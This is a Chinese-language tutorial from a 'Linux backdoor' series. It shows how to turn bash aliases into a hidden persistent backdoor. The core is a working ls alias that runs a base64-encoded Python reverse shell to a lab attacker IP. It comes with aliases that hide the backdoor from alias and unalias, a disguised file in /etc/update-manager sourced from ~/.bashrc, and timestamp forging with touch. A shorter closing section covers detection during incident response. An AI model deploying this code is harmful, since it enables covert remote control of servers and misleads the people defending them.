一、 alias 简介

alias 命令的功能: 为命令设置别名。

比如: 每次输入 ls 命令的时候都能实现 ls -al

alias ls = 'ls -al'

注意: 对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了。

二、 alias 使用方法

2.1 系统默认的别名

系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行查看

LINUX留后门--教程(七)—— alias 后门_bash


这里有我们熟悉的 ​​ll​​​ 命令,这个命令的真实含义其实是 ​​ls -alF​

LINUX留后门--教程(七)—— alias 后门_设置别名_02


可以看到我们可以直接执行 ​​ll​​ 来短缩命令的长度

2.2 别名的设置与查看

查看别名

如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,以 ​​ll​​ 命令为例

LINUX留后门--教程(七)—— alias 后门_配置文件_03


设置别名

例: 设置一个别名 alias getpwd = ‘cat /etc/passwd’

alias getpwd='cat /etc/passwd'

LINUX留后门--教程(七)—— alias 后门_设置别名_04


删除别名

unalias 别名

unalias getpwd

LINUX留后门--教程(七)—— alias 后门_设置别名_05

2.3 默认的别名是怎么出现的?

在 ​​~/.bashrc​​ 配置文件中

cat ~/.bashrc|grep alias

LINUX留后门--教程(七)—— alias 后门_bash_06


同时,普通账户也存在 .bashrc 文件

LINUX留后门--教程(七)—— alias 后门_配置文件_07

注意:
系统启动默认加载的配置文件,比如:​​​/etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout​

/etc/profile

【系统级】 Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 ​​/etc/profile​

/etc/bashrc

【系统级】 在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell

~/.bashrc

【用户级】 当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响

~/.bash_profile && ~./bash_login

【用户级】
如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行​​​~/.profile​​​ 如果两个文件都存在的话,Bash 将会优先执行​​~/.bash_profile​​ 而不是​​~/.bash_login​

~/.bash_logout

【用户级】 当每次退出系统(退出bash shell)时执行该文件

三、 alias 后门

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.241.142 (Ubuntu)
攻击IP: 192.168.241.128 (kali)

3.1 alias 的特点

1、alias 在设置 ls=“xxxx” 中,设置别名和设置变量很相似,都是可以进行传递的

alias ls='ls --color=auto' //设置别名

LINUX留后门--教程(七)—— alias 后门_设置别名_08

alias lstest="ls" //给别名再设置别名

LINUX留后门--教程(七)—— alias 后门_设置别名_09

alias ls='ls --color=auto;pwd'//设置别名时加入参数

LINUX留后门--教程(七)—— alias 后门_设置别名_10

2、alias 不支持参数传递,只有函数才支持参数传递

alias ls='func(){ ls $1 --color=auto;pwd;};func'

LINUX留后门--教程(七)—— alias 后门_bash_11

3.1 alias 后门

根据 alias 特点制作后门

后门命令:

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

执行完命令之后,输入 ls 命令查询,就会触发后门,但是ls查询的结果跟正常的 ls 命令一摸一样,检查不出来异常

LINUX留后门--教程(七)—— alias 后门_bash_12


但是此时后门已经触发,反弹 shell 到 kali 了

LINUX留后门--教程(七)—— alias 后门_设置别名_13


此时可以查看一下 ubutu的 连接,确实与192.168.241.128的6666端口建立连接,alias 后门执行成功

netstat -anpt

LINUX留后门--教程(七)—— alias 后门_bash_14

base64解密后的内容:

import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()

3.2 alias 后门隐藏

目标: 隐藏起来,并且能够让所有登录的人直接就中招

那么,肯定是离不开开机自启的程序或者配置文件了,但是常见的几个文件,比如: ​​/etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout​​,因为大家都知道了,不太隐蔽

所以选择 ~/.bash_aliases 文件,默认不会有,但是在 ~/.bashrc 中默认加载

第一步: 查看目录 /etc/update-manager/ 如图所示,默认就含有下图这几个文件,那么我们可以增加一个有迷惑性的目录和文件名,之后设置加载

LINUX留后门--教程(七)—— alias 后门_设置别名_15


第二步: 增加一个文件 release-update 内容如下图所示:

LINUX留后门--教程(七)—— alias 后门_bash_16

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

增加完 release-update 文件之后,查看该目录如下图所示,新增加的文件就像系统本身文件,很有迷惑性。

LINUX留后门--教程(七)—— alias 后门_设置别名_17


第三步: 将 release-update 文件插进 ~/.bashrc 自启动程序中

~/.bashrc 文件默认内容

cat ~/.bashrc

LINUX留后门--教程(七)—— alias 后门_bash_18


在 ~/.bashrc 文件最后面添加内容:

#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f /etc/update-manager/release-update ]; then
. /etc/update-manager/release-update
fi

添加完之后,保存 ~/.bashrc 文件

LINUX留后门--教程(七)—— alias 后门_bash_19


但是新建的 release-update 文件,用 stat 一看就看出来了,所以要修改后门文件的时间与同目录名称相似的文件的 时间相同

stat /etc/update-manager/release-update
sudo touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update

LINUX留后门--教程(七)—— alias 后门_设置别名_20


第四步: 触发后门,验证后门

在 kali 上 ssh 远程登录 ubuntu 靶机

ssh zyr@192.168.241.142

成功登录后,执行 命令 ​​ls​​ 就会触发后门

LINUX留后门--教程(七)—— alias 后门_bash_21


nc监听 6666 端口,成功接收反弹回来的 shell

LINUX留后门--教程(七)—— alias 后门_配置文件_22

四、alias 后门——应急响应发现

第一步:查看所有连接
发现与 192.168.241.128:6666 的异常连接,应该是反弹的shell连接

netstat -anpt

LINUX留后门--教程(七)—— alias 后门_配置文件_23


第二步:通过PID查看异常连接的进程,以及该进程正在执行的命令行命令

ps aux |grep 7737

LINUX留后门--教程(七)—— alias 后门_配置文件_24


查看 PID 为7737的 PPID,发现是1

LINUX留后门--教程(七)—— alias 后门_bash_25


第三步:查看别名

发现了异常别名

LINUX留后门--教程(七)—— alias 后门_配置文件_26


使用命令​​unalias alert​​​ 可以删除别名,但是下一次 ssh 远程登录该服务器,又会重新出现该别名,如上图所示,猜测可能 alias 后门写进了 系统的启动程序和配置文件中,比如: ​​/etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout​​ 才会导致,每次登录服务器就会重新触发 alias 后门

第四步:
那么检查这些启动程序和配置文件是否被篡改

stat ~/.bash_profile 
stat /etc/profile
.......

LINUX留后门--教程(七)—— alias 后门_配置文件_27


通过检查文件被修改的时间可以看出,只有 ~/.bashrc 文件的修改日期是最近的日期,其它的日期时间都很久第五步:

把 ~/.bashrc 文件下载下来与一个正常的 ~/.bashrc 文件进行对比,对比之后确实发现异常,被修改的部分如下所示

LINUX留后门--教程(七)—— alias 后门_配置文件_28


根据在被篡改过的 ~/.bashrc 文件 发现的新增加的内容线索

```bash
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f /etc/update-manager/release-update ]; then
. /etc/update-manager/release-update
fi

查找 /etc/update-manager/release-update 文件,看看是啥?

cat  /etc/update-manager/release-update

看下图所示,base64解密之后,正是 alias 后门文件

LINUX留后门--教程(七)—— alias 后门_bash_29


LINUX留后门--教程(七)—— alias 后门_配置文件_30


参考链接:https://cloud.tencent.com/developer/article/1683267更多资源:

1、web安全工具、渗透测试工具

2、存在漏洞的网站源码与代码审计+漏洞复现教程、

3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频

4、应急响应真实案例复现靶场与应急响应教程

关注微信公众号:W小哥